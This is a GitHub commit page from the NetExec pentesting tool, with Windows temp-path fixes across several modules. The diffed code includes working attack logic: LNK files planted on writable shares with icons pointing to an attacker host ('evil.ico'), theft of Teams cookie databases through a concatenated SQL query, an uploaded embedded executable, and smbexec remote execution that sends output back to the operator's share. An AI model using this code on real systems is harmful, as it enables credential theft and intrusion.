Skip to content

Commit 64319fd

Browse files
authored
Merge pull request Pennyw0rth#326 from Pennyw0rth/marshall-windows-fixes
Windows Fixes for v1.2
2 parents b855dac + 8db769e commit 64319fd

13 files changed

Lines changed: 93 additions & 62 deletions

File tree

netexec.spec

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -67,8 +67,10 @@ a = Analysis(
6767
'dploot.triage.browser',
6868
'dploot.triage.credentials',
6969
'dploot.triage.masterkeys',
70+
'dploot.triage.mobaxterm',
7071
'dploot.triage.backupkey',
7172
'dploot.triage.wifi',
73+
'dploot.triage.sccm',
7274
'dploot.lib.target',
7375
'dploot.lib.smb',
7476
'pyasn1_modules.rfc5652',

nxc/modules/pi.py

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,8 @@
11
from base64 import b64decode
22
from sys import exit
3-
from os import path
3+
from os.path import abspath, join, isfile
44

5-
from nxc.paths import DATA_PATH
5+
from nxc.paths import DATA_PATH, TMP_PATH
66

77

88
class NXCModule:
@@ -25,7 +25,7 @@ def options(self, context, module_options):
2525
self.pi = "pi.exe"
2626
self.useembeded = True
2727
self.pid = self.cmd = ""
28-
with open(path.join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
28+
with open(join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
2929
self.pi_embedded = b64decode(pi_file.read())
3030

3131
if "EXEC" in module_options:
@@ -36,11 +36,11 @@ def options(self, context, module_options):
3636

3737
def on_admin_login(self, context, connection):
3838
if self.useembeded:
39-
file_to_upload = "/tmp/pi.exe"
39+
file_to_upload = abspath(join(TMP_PATH, "pi.exe"))
4040
with open(file_to_upload, "wb") as pm:
4141
pm.write(self.pi_embedded)
4242
else:
43-
if path.isfile(self.imp_exe):
43+
if isfile(self.imp_exe):
4444
file_to_upload = self.imp_exe
4545
else:
4646
context.log.error(f"Cannot open {self.imp_exe}")

nxc/modules/procdump.py

Lines changed: 6 additions & 4 deletions
Large diffs are not rendered by default.

nxc/modules/schtask_as.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@
44
from impacket.dcerpc.v5.dtypes import NULL
55
from impacket.dcerpc.v5 import tsch, transport
66
from nxc.helpers.misc import gen_random_string
7+
from nxc.paths import TMP_PATH
78
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
89

910

@@ -255,7 +256,7 @@ def execute_handler(self, command, fileless=False):
255256
if fileless:
256257
while True:
257258
try:
258-
with open(os.path.join("/tmp", "nxc_hosted", self.__output_filename)) as output:
259+
with open(os.path.join(TMP_PATH, self.__output_filename)) as output:
259260
self.output_callback(output.read())
260261
break
261262
except OSError:

nxc/modules/slinky.py

Lines changed: 16 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
import pylnk3
22
import ntpath
33
from sys import exit
4-
4+
from nxc.paths import TMP_PATH
55

66
class NXCModule:
77
"""
@@ -18,11 +18,12 @@ class NXCModule:
1818

1919
def __init__(self):
2020
self.server = None
21-
self.file_path = None
22-
self.lnk_path = None
21+
self.remote_file_path = None
22+
self.local_lnk_path = None
2323
self.lnk_name = None
2424
self.ico_uri = None
2525
self.shares = None
26+
self.ignore_shares = ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]
2627
self.cleanup = None
2728

2829
def options(self, context, module_options):
@@ -31,6 +32,7 @@ def options(self, context, module_options):
3132
NAME LNK file name written to the share(s)
3233
ICO_URI Override full ICO path (e.g. http://192.168.1.2/evil.ico or \\\\192.168.1.2\\testing_path\\icon.ico)
3334
SHARES Specific shares to write to (comma separated, e.g. SHARES=share1,share2,share3)
35+
IGNORE Specific shares to ignore (comma separated, default: C$,ADMIN$,NETLOGON,SYSVOL)
3436
CLEANUP Cleanup (choices: True or False)
3537
"""
3638
self.cleanup = False
@@ -46,6 +48,10 @@ def options(self, context, module_options):
4648
if "SHARES" in module_options:
4749
self.shares = module_options["SHARES"].split(",")
4850
context.log.debug(f"Shares to write to: {self.shares}")
51+
52+
if "IGNORE" in module_options:
53+
self.ignore_shares = module_options["IGNORE"].split(",")
54+
context.log.debug(f"Ignoring shares: {self.ignore_shares}")
4955

5056
if not self.cleanup and "SERVER" not in module_options:
5157
context.log.fail("SERVER option is required!")
@@ -57,12 +63,12 @@ def options(self, context, module_options):
5763

5864

5965
self.lnk_name = module_options["NAME"]
60-
self.lnk_path = f"/tmp/{self.lnk_name}.lnk"
61-
self.file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")
66+
self.local_lnk_path = f"{TMP_PATH}/{self.lnk_name}.lnk"
67+
self.remote_file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")
6268

6369
if not self.cleanup:
6470
self.server = module_options["SERVER"]
65-
link = pylnk3.create(self.lnk_path)
71+
link = pylnk3.create(self.local_lnk_path)
6672
link.icon = self.ico_uri if self.ico_uri else f"\\\\{self.server}\\icons\\icon.ico"
6773
link.save()
6874

@@ -73,23 +79,22 @@ def on_login(self, context, connection):
7379
context.log.add_file_log(slinky_logger)
7480

7581
for share in shares:
76-
# TODO: these can be written to - add an option to override these
77-
if "WRITE" in share["access"] and share["name"] not in ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]:
82+
if "WRITE" in share["access"] and share["name"] not in self.ignore_shares:
7883
if self.shares is not None and share["name"] not in self.shares:
7984
context.log.debug(f"Did not write to {share['name']} share as it was not specified in the SHARES option")
8085
continue
8186

8287
context.log.success(f"Found writable share: {share['name']}")
8388
if not self.cleanup:
84-
with open(self.lnk_path, "rb") as lnk:
89+
with open(self.local_lnk_path, "rb") as lnk:
8590
try:
86-
connection.conn.putFile(share["name"], self.file_path, lnk.read)
91+
connection.conn.putFile(share["name"], self.remote_file_path, lnk.read)
8792
context.log.success(f"Created LNK file on the {share['name']} share")
8893
except Exception as e:
8994
context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
9095
else:
9196
try:
92-
connection.conn.deleteFile(share["name"], self.file_path)
97+
connection.conn.deleteFile(share["name"], self.remote_file_path)
9398
context.log.success(f"Deleted LNK file on the {share['name']} share")
9499
except Exception as e:
95100
context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")

nxc/modules/spider_plus.py

Lines changed: 16 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,10 @@
11
import json
22
import errno
3-
import os
3+
from os.path import abspath, join, split, exists, splitext, getsize, sep
4+
from os import makedirs, remove, stat
45
import time
56
import traceback
7+
from nxc.paths import TMP_PATH
68
from nxc.protocols.smb.remotefile import RemoteFile
79
from impacket.smb3structs import FILE_READ_DATA
810
from impacket.smbconnection import SessionError
@@ -36,7 +38,7 @@ def human_time(timestamp):
3638
def make_dirs(path):
3739
"""Creates directories at the given path. It handles the exception `os.errno.EEXIST` that may occur if the directories already exist."""
3840
try:
39-
os.makedirs(path)
41+
makedirs(path)
4042
except OSError as e:
4143
if e.errno != errno.EEXIST:
4244
raise
@@ -170,13 +172,13 @@ def get_file_save_path(self, remote_file):
170172
The folder path and filename are then obtained separately.
171173
"""
172174
# Remove the backslash before the remote host part and replace slashes with the appropriate path separator
173-
remote_file_path = str(remote_file)[2:].replace("/", os.path.sep).replace("\\", os.path.sep)
175+
remote_file_path = str(remote_file)[2:].replace("/", sep).replace("\\", sep)
174176

175177
# Split the path to obtain the folder path and the filename
176-
folder, filename = os.path.split(remote_file_path)
178+
folder, filename = split(remote_file_path)
177179

178180
# Join the output folder with the folder path to get the final local folder path
179-
folder = os.path.join(self.output_folder, folder)
181+
folder = join(self.output_folder, folder)
180182

181183
return folder, filename
182184

@@ -283,7 +285,7 @@ def parse_file(self, share_name, file_path, file_info):
283285
return
284286

285287
# Check file extension filter.
286-
_, file_extension = os.path.splitext(file_path)
288+
_, file_extension = splitext(file_path)
287289
if file_extension:
288290
self.stats["file_exts"].add(file_extension.lower())
289291
if file_extension.lower() in self.exclude_exts:
@@ -306,10 +308,10 @@ def parse_file(self, share_name, file_path, file_info):
306308

307309
# Check if the file is already downloaded and up-to-date.
308310
file_dir, file_name = self.get_file_save_path(remote_file)
309-
download_path = os.path.join(file_dir, file_name)
311+
download_path = join(file_dir, file_name)
310312
needs_update_flag = False
311-
if os.path.exists(download_path):
312-
if file_modified_time <= os.stat(download_path).st_mtime and os.path.getsize(download_path) == file_size:
313+
if exists(download_path):
314+
if file_modified_time <= stat(download_path).st_mtime and getsize(download_path) == file_size:
313315
self.logger.info(f'File already downloaded "{file_path}" => "{download_path}".')
314316
self.stats["num_files_unmodified"] += 1
315317
return
@@ -348,7 +350,7 @@ def save_file(self, remote_file, share_name):
348350
remote_file.seek(0, 0)
349351

350352
folder, filename = self.get_file_save_path(remote_file)
351-
download_path = os.path.join(folder, filename)
353+
download_path = join(folder, filename)
352354

353355
# Create the subdirectories based on the share name and file path.
354356
self.logger.debug(f"Creating folder '{folder}'")
@@ -365,8 +367,8 @@ def save_file(self, remote_file, share_name):
365367
self.logger.fail(f'Error writing file "{download_path}" from share "{share_name}": {e}')
366368

367369
# Check if the file is empty and should not be.
368-
if os.path.getsize(download_path) == 0 and remote_file.get_filesize() > 0:
369-
os.remove(download_path)
370+
if getsize(download_path) == 0 and remote_file.get_filesize() > 0:
371+
remove(download_path)
370372
remote_path = str(remote_file)[2:]
371373
self.logger.fail(f'Unable to download file "{remote_path}".')
372374

@@ -375,7 +377,7 @@ def dump_folder_metadata(self, results):
375377
376378
The results are formatted with indentation and sorted keys before being written to the file.
377379
"""
378-
metadata_path = os.path.join(self.output_folder, f"{self.host}.json")
380+
metadata_path = join(self.output_folder, f"{self.host}.json")
379381
try:
380382
with open(metadata_path, "w", encoding="utf-8") as fd:
381383
fd.write(json.dumps(results, indent=4, sort_keys=True))
@@ -498,7 +500,7 @@ def options(self, context, module_options):
498500
self.exclude_filter = get_list_from_option(module_options.get("EXCLUDE_FILTER", "print$,ipc$"))
499501
self.exclude_filter = [d.lower() for d in self.exclude_filter] # force case-insensitive
500502
self.max_file_size = int(module_options.get("MAX_FILE_SIZE", 50 * 1024))
501-
self.output_folder = module_options.get("OUTPUT_FOLDER", os.path.join("/tmp", "nxc_spider_plus"))
503+
self.output_folder = module_options.get("OUTPUT_FOLDER", abspath(join(TMP_PATH, "nxc_spider_plus")))
502504

503505
def on_login(self, context, connection):
504506
context.log.display("Started module spidering_plus with the following options:")

nxc/modules/teams_localdb.py

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,6 @@
11
import sqlite3
2+
from nxc.paths import TMP_PATH
3+
from os.path import abspath, join
24

35

46
class NXCModule:
@@ -16,7 +18,7 @@ def on_admin_login(self, context, connection):
1618
connection.execute("taskkill /F /T /IM teams.exe")
1719
found = 0
1820
paths = connection.spider("C$", folder="Users", regex=["[a-zA-Z0-9]*"], depth=0)
19-
with open("/tmp/teams_cookies2.txt", "wb") as f:
21+
with open(abspath(join(TMP_PATH, "teams_cookies2.txt")), "wb") as f:
2022
for path in paths:
2123
try:
2224
connection.conn.getFile("C$", path + "/AppData/Roaming/Microsoft/Teams/Cookies", f.write)
@@ -37,7 +39,7 @@ def on_admin_login(self, context, connection):
3739
@staticmethod
3840
def parse_file(context, name):
3941
try:
40-
conn = sqlite3.connect("/tmp/teams_cookies2.txt")
42+
conn = sqlite3.connect(abspath(join(TMP_PATH, "teams_cookies2.txt")))
4143
c = conn.cursor()
4244
c.execute("SELECT value FROM cookies WHERE name = '" + name + "'")
4345
row = c.fetchone()

nxc/netexec.py

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -23,6 +23,8 @@
2323
from sys import exit
2424
from rich.progress import Progress
2525
import platform
26+
if sys.stdout.encoding == "cp1252":
27+
sys.stdout.reconfigure(encoding="utf-8")
2628

2729
# Increase file_limit to prevent error "Too many open files"
2830
if platform.system() != "Windows":

nxc/paths.py

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -3,9 +3,12 @@
33
import nxc
44

55
NXC_PATH = os.path.expanduser("~/.nxc")
6-
TMP_PATH = os.getenv("LOCALAPPDATA") + "\\Temp\\nxc_hosted" if os.name == "nt" else os.path.join("/tmp", "nxc_hosted")
7-
if hasattr(sys, "getandroidapilevel"):
6+
if os.name == "nt":
7+
TMP_PATH = os.getenv("LOCALAPPDATA") + "\\Temp\\nxc_hosted"
8+
elif hasattr(sys, "getandroidapilevel"):
89
TMP_PATH = os.path.join("/data", "data", "com.termux", "files", "usr", "tmp", "nxc_hosted")
10+
else:
11+
TMP_PATH = os.path.join("/tmp", "nxc_hosted")
912

1013
CERT_PATH = os.path.join(NXC_PATH, "nxc.pem")
1114
CONFIG_PATH = os.path.join(NXC_PATH, "nxc.conf")

nxc/protocols/smb/smbexec.py

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@
33
from time import sleep
44
from impacket.dcerpc.v5 import transport, scmr
55
from nxc.helpers.misc import gen_random_string
6+
from nxc.paths import TMP_PATH
67
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
78

89

@@ -95,7 +96,7 @@ def execute_remote(self, data):
9596

9697
command = self.__shell + "echo " + data + f" ^> \\\\%COMPUTERNAME%\\{self.__share}\\{self.__output} 2^>^&1 > %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c del %TEMP%\\{self.__batchFile}" if self.__retOutput else self.__shell + data
9798

98-
with open(path_join("/tmp", "nxc_hosted", self.__batchFile), "w") as batch_file:
99+
with open(path_join(TMP_PATH, self.__batchFile), "w") as batch_file:
99100
batch_file.write(command)
100101

101102
self.logger.debug("Hosting batch file with command: " + command)
@@ -179,7 +180,7 @@ def execute_fileless(self, data):
179180

180181
command = self.__shell + data + f" ^> \\\\{local_ip}\\{self.__share_name}\\{self.__output}" if self.__retOutput else self.__shell + data
181182

182-
with open(path_join("/tmp", "nxc_hosted", self.__batchFile), "w") as batch_file:
183+
with open(path_join(TMP_PATH, self.__batchFile), "w") as batch_file:
183184
batch_file.write(command)
184185

185186
self.logger.debug("Hosting batch file with command: " + command)
@@ -214,7 +215,7 @@ def get_output_fileless(self):
214215

215216
while True:
216217
try:
217-
with open(path_join("/tmp", "nxc_hosted", self.__output), "rb") as output:
218+
with open(path_join(TMP_PATH, self.__output), "rb") as output:
218219
self.output_callback(output.read())
219220
break
220221
except OSError:

0 commit comments

Comments
 (0)